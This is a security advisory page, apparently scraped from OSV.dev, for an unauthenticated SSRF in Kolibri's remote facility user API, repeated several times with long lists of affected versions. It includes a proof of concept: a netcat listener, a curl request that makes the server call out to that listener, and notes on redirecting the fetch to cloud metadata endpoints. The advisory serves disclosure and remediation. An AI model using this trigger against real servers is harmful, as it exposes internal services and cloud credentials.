RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 08, 2024

0.16.0 minor

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 20, 2024

0.15.12 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Mar 15, 2023

0.15.11 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0

